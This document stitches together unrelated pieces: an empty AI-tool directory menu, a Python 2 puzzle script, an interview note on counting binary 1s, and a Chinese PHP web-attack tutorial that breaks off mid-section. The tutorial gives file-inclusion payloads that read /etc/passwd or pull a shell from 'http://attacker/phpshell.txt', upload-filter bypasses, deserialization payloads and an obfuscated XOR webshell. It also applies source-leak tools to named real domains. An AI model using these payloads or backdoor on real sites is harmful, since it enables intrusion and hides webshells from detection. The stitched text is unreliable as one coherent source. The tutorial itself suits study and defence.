[ {.icon-list .marker-none} ### Fun tools - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Seo - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Video editing - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Code assistant - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Mac - [ - [ - [ {.icon-list .marker-none} ### Audio editing - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Copywriting - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### General writing - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Summarizer - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Video generator - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Legal assistant - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Generative art - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Text to speech - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Life assistant - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Image generator - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Book - [ {.icon-list .marker-none} ### Gaming - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Image scanning - [ - [ {.icon-list .marker-none} ### Sales - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Audio - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Analytics - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Fintech - [ {.icon-list .marker-none} ### Marketing - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Story teller - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Low-code/no-code - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Art - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Customer communication - [ {.icon-list .marker-none} ### Chrome extensions - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Search engine - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Research - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Browser extensions - [ {.icon-list .marker-none} ### Pc - [ {.icon-list .marker-none} ### Prompt - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Email - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Image improvement - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Human resources - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Website - [ - [ - [ {.icon-list .marker-none} ### Branding - [ - [ - [ {.icon-list .marker-none} ### Speech - [ - [ {.icon-list .marker-none} ### Communication - [ {.icon-list .marker-none} ### Other - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Health - [ {.icon-list .marker-none} ### Aggregator - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Customer support - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Movies - [ {.icon-list .marker-none} ### Video - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Email assistant - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Messaging - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Generative video - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Safari extensions - [ {.icon-list .marker-none} ### Transcriber - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Motion capture - [ - [ {.icon-list .marker-none} ### Voice - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Machine learning - [ - [ {.icon-list .marker-none} ### Social media assistant - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Inspiration - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Stocks - [ {.icon-list .marker-none} ### Voice modulation - [ - [ {.icon-list .marker-none} ### Paraphraser - [ - [ - [ - [ {.icon-list .marker-none} ### Amazon - [ {.icon-list .marker-none} ### Personalized videos - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Spreadsheets - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Ipad - [ {.icon-list .marker-none} ### Task management - [ - [ - [ {.icon-list .marker-none} ### Email marketing - [ {.icon-list .marker-none} ### Fashion - [ - [ - [ - [ {.icon-list .marker-none} ### Generator - [ {.icon-list .marker-none} ### 3d - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Home - [ - [ {.icon-list .marker-none} ### Api - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Software engineering - [ {.icon-list .marker-none} ### Open source - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Chat - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Playstation - [ {.icon-list .marker-none} ### Startup - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Experiments - [ - [ {.icon-list .marker-none} ### Windows - [ {.icon-list .marker-none} ### Generative code - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Photography - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Healthcare - [ {.icon-list .marker-none} ### Resources - [ - [ - [ - [ {.icon-list .marker-none} ### Growth hacking - [ {.icon-list .marker-none} ### Kids - [ {.icon-list .marker-none} ### Search - [ {.icon-list .marker-none} ### Speech-to-text - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Articles - [ {.icon-list .marker-none} ### Podcast - [ - [ - [ {.icon-list .marker-none} ### Parenting - [ - [ {.icon-list .marker-none} ### Education assistant - [ - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Tracking - [ {.icon-list .marker-none} ### Privacy - [ - [ {.icon-list .marker-none} ### Vehicle - [ {.icon-list .marker-none} ### Twitter - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Dev - [ - [ - [ {.icon-list .marker-none} ### Saas - [ - [ {.icon-list .marker-none} ### Podcasting - [ {.icon-list .marker-none} ### Bot - [ {.icon-list .marker-none} ### Finance - [ - [ {.icon-list .marker-none} ### Self-improvement - [ {.icon-list .marker-none} ### Robots - [ - [ - [ {.icon-list .marker-none} ### Slack - [ - [ - [ {.icon-list .marker-none} ### Investing - [ {.icon-list .marker-none} ### Questions - [ - [ {.icon-list .marker-none} ### Construction - [ {.icon-list .marker-none} ### Data - [ - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Plugin - [ {.icon-list .marker-none} ### Pet - [ - [ {.icon-list .marker-none} ### Sports - [ {.icon-list .marker-none} ### User experience - [ - [ - [ {.icon-list .marker-none} ### Quiz - [ {.icon-list .marker-none} ### Sql - [ - [ - [ - [ - [ {.icon-list .marker-none} ### Linkedin - [ {.icon-list .marker-none} ### Food - [ - [ - [ {.icon-list .marker-none} ### Tool - [ - [ - [ {.icon-list .marker-none} ### Emoji - [ {.icon-list .marker-none} ### Newsletters - [ {.icon-list .marker-none} ### Streaming services - [ {.icon-list .marker-none} ### Excel - [ {.icon-list .marker-none} ### Ai detection - [ - [ {.icon-list .marker-none} ### News - [ - [ {.icon-list .marker-none} ### Vacation - [ {.icon-list .marker-none} ### Logo generator - [ {.icon-list .marker-none} ### Real estate - [ - [ {.icon-list .marker-none} ### Assistant - [ {.icon-list .marker-none} ### Bots - [ {.icon-list .marker-none} ### Advertising - [ {.icon-list .marker-none} ### Gift ideas - [ - [ - [ {.icon-list .marker-none} ### Text-to-speech - [ {.icon-list .marker-none} ### Character - [ {.icon-list .marker-none} ### Memory - [ {.icon-list .marker-none} ### Feedback - [ {.icon-list .marker-none} ### Background - [ {.icon-list .marker-none} ### Support - [ {.icon-list .marker-none} ### Rank - [ {.icon-list .marker-none} ### Letter - [ {.icon-list .marker-none} ### Gift - [ {.icon-list .marker-none} ### Dream - [ {.icon-list .marker-none} ### Excuse - [ {.icon-list .marker-none} ### Game - [ {.icon-list .marker-none} ### Edit - [ {.icon-list .marker-none} ### Translation - [ {.icon-list .marker-none} ### Startup tools - [ {.icon-list .marker-none} ### E-commerce - [ {.icon-list .marker-none} ### Beauty - [ {.icon-list .marker-none} ### Photo - [ {.icon-list .marker-none}
sec-knowleage
from math import sqrt def xrange(a1, a2=None, step=1): if a2 is None: start, last = 0, a1 else: start, last = a1, a2 while cmp(start, last) == cmp(0, step): yield start start += step def precompute_primes(): print 'precomputing primes' limit = 13379447 + 1 a = [True] * limit for i in xrange(2, len(a)): isprime = a[i] if isprime: for n in xrange(i*i, limit, i): a[n] = False return a primes = precompute_primes() def is_prime(number): return primes[number] def precompute_dootdoot(): print 'precomputing dootdoot' table = [] MAXH, MAXW = 6, 13379447+1 for i in range(MAXH): table.append([0] * MAXW) for i in range(0, MAXH): for j in xrange(0, MAXW): if i > j: table[i][j] = 0 elif i == 0: table[i][j] = 1 elif i == j: table[i][j] = 1 else: table[i][j] = table[i][j-1] + table[i-1][j-1] return table dootdoot_table = precompute_dootdoot() def dootdoot(memes, seals): return dootdoot_table[seals][memes] def precompute_fibonacci_mod_987654321(): print 'precomputing fibonacci' table = [] N = 13379447+1 result = [0] * N result[1] = 1 for i in xrange(2, N): result[i] = (result[i-2] + result[i-1]) % 987654321 return result precomputed_fibonacci = precompute_fibonacci_mod_987654321() def fibonacci_mod_987654321(number): return precomputed_fibonacci[number] def bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = suchs[memes - 1] wow += 1 else: wew = epicfails[memes - 1] wow += wew return wow def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bills[memes - 1] wow += 1 else: wew = epicfails[memes - 1] wow += wew return wow epicfails = [0] * (13379447 + 1) suchs = [0] * (13379447 + 1) bills = [0] * (13379447 + 1) def epicfail(i): if i > 1: if is_prime(i): return 1 + bill(i - 1) else: return such(i - 1) return 0 def upcompute_epicfails(): print 'upcomputing epicfails' for i in xrange(1, 13379447+1): if i % 10000 == 0: print i epicfails[i] = epicfail(i) suchs[i] = such(i) bills[i] = bill(i) upcompute_epicfails() def me(): print 'executing' memes = 13379447 wew = epicfails[memes] print(wew) me()
sec-knowleage
# 15. 二进制中 1 的个数 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/8ee967e43c2c4ec193b040ea7fbb10b8?tpId=13&tqId=11164&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 输入一个整数,输出该数二进制表示中 1 的个数。 ### 解题思路 n&(n-1) 位运算可以将 n 的位级表示中最低的那一位 1 设置为 0。不断将 1 设置为 0,直到 n 为 0。时间复杂度:O(M),其中 M 表示 1 的个数。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201105004127554.png" width="500px"> </div><br> ```java public int NumberOf1(int n) { int cnt = 0; while (n != 0) { cnt++; n &= (n - 1); } return cnt; } ```
sec-knowleage
### PHP代码导致文件包含场景 常见的导致文件包含的函数有: - PHP:`include()`,`include_once()`,`require()`,`require_once()`,`fopen()`,`readfile()` 等 - JSP Servlet:`ava.io.File()`,`java.io.FileReader()` 等 - ASP:`includefile`,`includevirtual` 等 当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。 ### PHP代码导致本地文件包含场景 本地文件包含,Local File Inclusion,LFI。 ```php <?php $file = $_GET['file']; if (file_exists('/home/wwwrun/'.$file.'.php')) { include '/home/wwwrun/'.$file.'.php'; } ?> ``` 上述代码存在本地文件包含,可用 %00 截断的方式读取 `/etc/passwd` 文件内容。 - `%00` 截断 ``` ?file=../../../../../../../../../etc/passwd%00 ``` 需要 `magic_quotes_gpc=off`,PHP 小于 5.3.4 有效。 - 路径长度截断 ``` ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././. ``` Linux 需要文件名长于 4096,Windows 需要长于 256。 - 点号截断 ``` ?file=../../../../../../../../../boot.ini/………[…]………… ``` 只适用 Windows,点号需要长于 256。 ### PHP代码导致远程文件包含场景 远程文件包含,Remote File Inclusion,RFI。 ```php <?php if ($route == "share") { require_once $basePath . "/action/m_share.php"; } elseif ($route == "sharelink") { require_once $basePath . "/action/m_sharelink.php"; } ``` 构造变量 `basePath` 的值。 ``` /?basePath=http://attacker/phpshell.txt? ``` 最终的代码执行了 ```php require_once "http://attacker/phpshell.txt?/action/m_share.php"; ``` 问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。 - 普通远程文件包含 ``` ?file=[http|https|ftp]://example.com/shell.txt ``` 需要 `allow_url_fopen=On` 并且 `allow_url_include=On` 。 - 利用 PHP 流 input ``` ?file=php://input ``` 需要 `allow_url_include=On` 。 - 利用 PHP 流 filter ``` ?file=php://filter/convert.base64-encode/resource=index.php ``` 需要 `allow_url_include=On` 。 - 利用 data URIs ``` ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= ``` 需要 `allow_url_include=On` 。 - 利用 XSS 执行 ``` ?file=http://127.0.0.1/path/xss.php?xss=phpcode ``` 需要 `allow_url_fopen=On`,`allow_url_include=On` 并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。 ### PHP代码导致文件上传漏洞场景 文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够被 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。 ### PHP代码绕过上传检查方式 - 前端检查扩展名 抓包绕过即可。 - `Content-Type` 检测文件类型 抓包修改 `Content-Type` 类型,使其符合白名单规则。 - 服务端添加后缀 尝试 `%00` 截断。 - 服务端扩展名检测 利用解析漏洞。 - Apache 解析 Apache 对后缀解析是从右向左的 `phpshell.php.rar.rar.rar.rar` 因为 Apache 不认识 `.rar` 这个文件类型,所以会一直遍历后缀到 `.php`,然后认为这是一个 PHP 文件。 - IIS 解析 IIS 6 下当文件名为 `abc.asp;xx.jpg` 时,会将其解析为 `abc.asp`。 - PHP CGI 路径解析 当访问 `http://www.a.com/path/test.jpg/notexist.php` 时,会将 `test.jpg` 当做 PHP 解析, `notexist.php` 是不存在的文件。此时 Nginx 的配置如下 ```nginx location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_param; } ``` - 其他方式 后缀大小写、双写、特殊后缀如 `php5` 等,修改包内容的大小写过 WAF 等。 ### PHP代码导致全局变量覆盖 变量如果未被初始化,且能够被用户所控制,那么很可能会导致安全问题。 ```ini register_globals=ON ``` 示例 ```php <?php echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>"; if ($auth) { echo "private!"; } ?> ``` 当 `register_globals=ON` 时,提交 `test.php?auth=1`,`auth` 变量将自动得到赋值。 ### PHP代码导致`extract()` 变量覆盖 `extract()` 函数能够将变量从数组导入到当前的符号表,其定义为 ``` int extract ( array $var_array [, int $extract_type [, string $prefix ]] ) ``` 其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 `EXTR_OVERWRITE` 和 `EXTR_SKIP`。 当值为 `EXTR_OVERWRITE` 时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 `EXTR_SKIP` 则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 `EXTR_OVERWRITE`。 ```php <?php $auth = "0"; extract($_GET); if ($auth == 1) { echo "private!"; } else { echo "public!"; } ?> ``` 当 `extract()` 函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。 ### PHP代码导致`import_request_variables` 变量覆盖 ``` bool import_request_variables (string $types [, string $prefix]) ``` `import_request_variables` 将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。 ```php <?php $auth = "0"; import_request_variables("G"); if ($auth == 1) { echo "private!"; } else { echo "public!"; } ?> ``` `import_request_variables("G")` 指定导入 GET 请求中的变量,提交 `test.php?auth=1` 出现变量覆盖。 ### PHP代码导致`parse_str()` 变量覆盖 ``` void parse_str ( string $str [, array &$arr ]) ``` `parse_str()` 函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。 ```php // var.php?var=new 变量覆盖 $var = "init"; parse_str($_SERVER["QUERY_STRING"]); print $var; ``` 与 `parse_str()` 类似的函数还有 `mb_parse_str()`。 ### PHP直接执行代码场景 PHP 中有不少可以直接执行代码的函数。 ```php eval(); assert(); system(); exec(); shell_exec(); passthru(); escapeshellcmd(); pcntl_exec(); ...... ``` ### PHP代码导致`preg_replace()` 代码直接执行 `preg_replace()` 的第一个参数如果存在 `/e` 模式修饰符,则允许代码执行。 ```php <?php $var = "<tag>phpinfo()</tag>"; preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var); ?> ``` 如果没有 `/e` 修饰符,可以尝试 %00 截断。 ### PHP代码导致`preg_match` 代码直接执行 `preg_match` 执行的是匹配正则表达式,如果匹配成功,则允许代码执行。 ``` <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> ``` 这道题是 `xman` 训练赛的时候,梅子酒师傅出的一道题。这一串代码描述是这样子,我们要绕过 `A-Z`、`a-z`、`0-9` 这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 `a-z` 中任意一个字符,并且字符串长度小于 `40` 。然后再利用 `PHP` 允许动态函数执行的特点,拼接出一个函数名,这里我们是 `getFlag`,然后动态执行该代码即可。 那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到 `getFlag` 函数,然后拿到 `webshell` 。 在理解这个之前,我们首先需要大家了解的是 `PHP` 中异或 `^` 的概念。 我们先看一下下面这段代码: ``` <?php echo "A"^"?"; ?> ``` 输出的结果是字符 `~`。之所以会得到这样的结果,是因为代码中对字符 `A` 和字符 `?` 进行了异或操作。在 `PHP` 中,两个变量进行异或时,先会将字符串转换成 `ASCII` 值,再将 `ASCII` 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 `ASCII` 值,再将 `ASCII` 值转换成字符串。异或操作有时也被用来交换两个变量的值。 比如像上面这个例子 `A` 的 `ASCII` 值是 `65` ,对应的二进制值是 `01000001` `?` 的ASCII值是 `63` ,对应的二进制值是 `00111111` 异或的二进制的值是 `‭01111110‬` ,对应的 `ASCII` 值是 `126` ,对应的字符串的值就是 `~` 了 我们都知道, `PHP` 是弱类型的语言,也就是说在 `PHP` 中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于 `PHP` 弱类型的这个特点,我们对 `PHP` 的变量类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码: ``` <?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?> ``` 1、`$_++; ` 这行代码的意思是对变量名为 `"_"` 的变量进行自增操作,在 `PHP` 中未定义的变量默认值 `null` ,`null==false==0` ,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 2、`$__="?" ^ "}"; ` 对字符 `?` 和 `}` 进行异或运算,得到结果 `B` 赋给变量名为 `__` (两个下划线)的变量 3、`$ __ (); ` 通过上面的赋值操作,变量 `$__` 的值为 `B` ,所以这行可以看作是 `B()` ,在 `PHP` 中,这行代码表示调用函数 `B` ,所以执行结果为 `Hello Angel_Kitty` 。在 `PHP` 中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的 `PHP` 后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。 我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如 `_POST` , `system` , `call_user_func_array `,或者是任何我们需要的东西。 下面是个非常简单的非数字字母的 `PHP` 后门: ``` <?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?> ``` 在这里我说明下, `.=` 是字符串的连接,具体参看 `PHP` 语法 我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下: ``` $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ``` 我们回到 `xman` 训练赛的那题来看,我们的想法是通过构造异或来去绕过那串字符,那么我们该如何构造这个字串使得长度小于 `40` 呢? 我们最终是要读取到那个 `getFlag` 函数,我们需要构造一个 `_GET` 来去读取这个函数。 ### PHP代码构造 `_GET` 读取 首先我们得知道 `_GET` 由什么异或而来的,经过我的尝试与分析,我得出了下面的结论: ``` <?php echo "`{{{"^"?<>/";//_GET ?> ``` 这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。 这里可以使用php中可以执行命令的反引号 `` ` `` 和 `Linux` 下面的通配符 `?` - `?` 代表匹配一个字符 - `` ` 表示执行命令 - `" ` 对特殊字符串进行解析 由于 `?` 只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看: ``` <?php echo "{"^"<"; ?> ``` 输出结果为:G ``` <?php echo "{"^">"; ?> ``` 输出结果为:E ``` <?php echo "{"^"/"; ?> ``` 输出结果为:T 所以我们可以知道, `_GET` 就是这么被构造出来的啦! ### PHP代码获取 `_GET` 参数 我们又该如何获取 `_GET` 参数呢?咱们可以构造出如下字串: ``` <?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?> ``` 根据前面构造的来看, `$_` 已经变成了 `_GET` 。顺理成章的来讲, `$_ = _GET` 。我们构建 `$_GET[__]` 是为了要获取参数值。 ### PHP代码传入参数场景 此时我们只需要去调用 `getFlag` 函数获取 `webshell` 就好了,构造如下: ``` <?php echo $_=getFlag;//getFlag ?> ``` 所以把参数全部连接起来,就可以了。 ### PHP代码导致动态函数执行 用户自定义的函数可以导致代码执行。 ```php <?php $dyn_func = $_GET["dyn_func"]; $argument = $_GET["argument"]; $dyn_func($argument); ?> ``` ### PHP代码导致反引号命令执行 ```php <?php echo `ls -al`; ?> ``` ### PHP Curly Syntax导致代码执行 PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。 ```php <?php $var = "aaabbbccc ${`ls`}"; ?> ``` ```php <?php $foobar = "phpinfo"; ${"foobar"}(); ?> ``` ### PHP回调函数导致代码执行场景 很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。 ```php <?php $evil_callback = $_GET["callback"]; $some_array = array(0,1,2,3); $new_array = array_map($evil_callback, $some_array); ?> ``` 攻击 payload ``` http://www.a.com/index.php?callback=phpinfo ``` ### PHP反序列化导致代码执行 如果 `unserialize()` 在执行时定义了 `__destruct()` 或 `__wakeup()` 函数,则有可能导致代码执行。 ```php <?php class Example { var $var = ""; function __destruct() { eval($this->var); } } unserialize($_GET["saved_code"]); ?> ``` 攻击 payload ``` http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} ``` ### PHP数组特性 ```php <?php $var = 1; $var = array(); $var = "string"; ?> ``` php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。 比如在 `$a == $b` 的比较中 ```php $a = null; $b = false; //为真 $a = ''; $b = 0; //同样为真 ``` 然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。 ```php 0=='0' //true 0 == 'abcdefg' //true 0 === 'abcdefg' //false 1 == '1abcdef' //true ``` ### PHP魔法 Hash特性 ```php "0e132456789"=="0e7124511451155" //true "0e123456abc"=="0e1dddada" //false "0e1abc"=="0" //true ``` 在进行比较运算时,如果遇到了 `0e\d+` 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。如果不满足 `0e\d+` 这种模式就不会相等。 ### PHP十六进制转换特性 ```php "0x1e240"=="123456" //true "0x1e240"==123456 //true "0x1e240"=="1e240" //false ``` 当其中的一个字符串是 `0x` 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,`0x1240` 解析成为十进制就是 123456,所以与 `int` 类型和 `string` 类型的 123456 比较都是相等。 ### PHP类型转换特性 常见的转换主要就是 `int` 转换为 `string`,`string` 转换为 `int`。 `int` 转 `string` ```php $var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var); ``` `string` 转 `int`:`intval()` 函数。 对于这个函数,可以先看 2 个例子。 ```php var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 ``` 说明 `intval()` 转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串, `intval()` 不会报错而是返回 0。 同时,程序员在编程的时候也不应该使用如下的这段代码: ```php if(intval($a)>1000) { mysql_query("select * from news where id=".$a) } ``` 这个时候 `$a` 的值有可能是 `1002 union`。 ### PHP内置函数的参数的松散性 内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。 **md5()** ```php $array1[] = array( "foo" => "bar", "bar" => "foo", ); $array2 = array("foo", "bar", "hello", "world"); var_dump(md5($array1)==md5($array2)); //true ``` PHP 手册中的 md5()函数的描述是 `string md5 ( string $str [, bool $raw_output = false ] )`,`md5()` 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,`md5()` 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。 **strcmp()** `strcmp()` 函数在 PHP 官方手册中的描述是 `intstrcmp ( string $str1 , string $str2 )`,需要给 `strcmp()` 传递 2 个 `string` 类型的参数。如果 `str1` 小于 `str2`,返回 -1,相等返回 0,否则返回 1。`strcmp()` 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。 如果传入给出 `strcmp()` 的参数是数字呢? ```php $array=[1,2,3]; var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。 ``` **switch()** 如果 `switch()` 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下: ```php $i ="2abc"; switch ($i) { case 0: case 1: case 2: echo "i is less than 3 but not negative"; break; case 3: echo "i is 3"; } ``` 这个时候程序输出的是 `i is less than 3 but not negative` ,是由于 `switch()` 函数将 `$i` 进行了类型转换,转换结果为 2。 **in_array()** 在 PHP 手册中, `in_array()` 函数的解释是 `bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )` ,如果strict参数没有提供,那么 `in_array` 就会使用松散比较来判断 `$needle` 是否在 `$haystack` 中。当 strict 的值为 true 时, `in_array()` 会比较 needls 的类型和 haystack 中的类型是否相同。 ```php $array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true ``` 可以看到上面的情况返回的都是 true,因为 `'abc'` 会转换为 0, `'1bc'` 转换为 1。 `array_search()` 与 `in_array()` 也是一样的问题。 ### PHP通过hg 源码泄露寻找源代码备份场景 `hg init` 时会产生 `.hg` 文件。 [利用工具 dvcs-ripper](https://github.com/kost/dvcs-ripper) ### PHP通过Git 源码泄露寻找源代码备份场景 `.git` 目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。 ``` /.git /.git/HEAD /.git/index /.git/config /.git/description ``` [GitHack](https://github.com/lijiejie/GitHack) ```shell python GitHack.py http://www.openssl.org/.git/ ``` [GitHacker(可恢复完整 Git 仓库)](https://github.com/WangYihang/GitHacker) ```shell python GitHacker.py http://www.openssl.org/.git/ ``` ### PHP通过`.DS_Store` 文件泄露寻找源代码备份场景 Mac OS 中会包含有 `.DS_Store` 文件,包含文件名等信息。 [利用工具 ds\_store\_exp](https://github.com/lijiejie/ds_store_exp) ```shell python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store hd.zj.qq.com/ └── themes └── galaxyw ├── app │ └── css │ └── style.min.css ├── cityData.min.js ├── images │ └── img │ ├── bg-hd.png │ ├── bg-item-activity.png │ ├── bg-masker-pop.png │ ├── btn-bm.png │ ├── btn-login-qq.png │ ├── btn-login-wx.png │ ├── ico-add-pic.png │ ├── ico-address.png │ ├── ico-bm.png │ ├── ico-duration-time.png │ ├── ico-pop-close.png │ ├── ico-right-top-delete.png │ ├── page-login-hd.png │ ├── pic-masker.png │ └── ticket-selected.png └── member ├── assets │ ├── css │ │ ├── ace-reset.css │ │ └── antd.css │ └── lib │ ├── cityData.min.js │ └── ueditor │ ├── index.html │ ├── lang │ │ └── zh-cn │ │ ├── images │ │ │ ├── copy.png │ │ │ ├── localimage.png │ │ │ ├── music.png │ │ │ └── upload.png │ │ └── zh-cn.js │ ├── php │ │ ├── action_crawler.php │ │ ├── action_list.php │ │ ├── action_upload.php │ │ ├── config.json │ │ ├── controller.php │ │ └── Uploader.class.php │ ├── ueditor.all.js │ ├── ueditor.all.min.js │ ├── ueditor.config.js │ ├── ueditor.parse.js │ └── ueditor.parse.min.js └── static ├── css │ └── page.css ├── img │ ├── bg-table-title.png │ ├── bg-tab-say.png │ ├── ico-black-disabled.png │ ├── ico-black-enabled.png │ ├── ico-coorption-person.png │ ├── ico-miss-person.png │ ├── ico-mr-person.png │ ├── ico-white-disabled.png │ └── ico-white-enabled.png └── scripts ├── js └── lib └── jquery.min.js 21 directories, 48 files ``` ### PHP通过网站备份文件寻找源代码备份场景 管理员备份网站文件后错误地将备份放在 Web 目录下。 常见的后缀名: ``` .rar .zip .7z .tar .tar.gz .bak .txt ``` ### PHP通过SVN 泄露寻找源代码备份场景 敏感文件: ``` 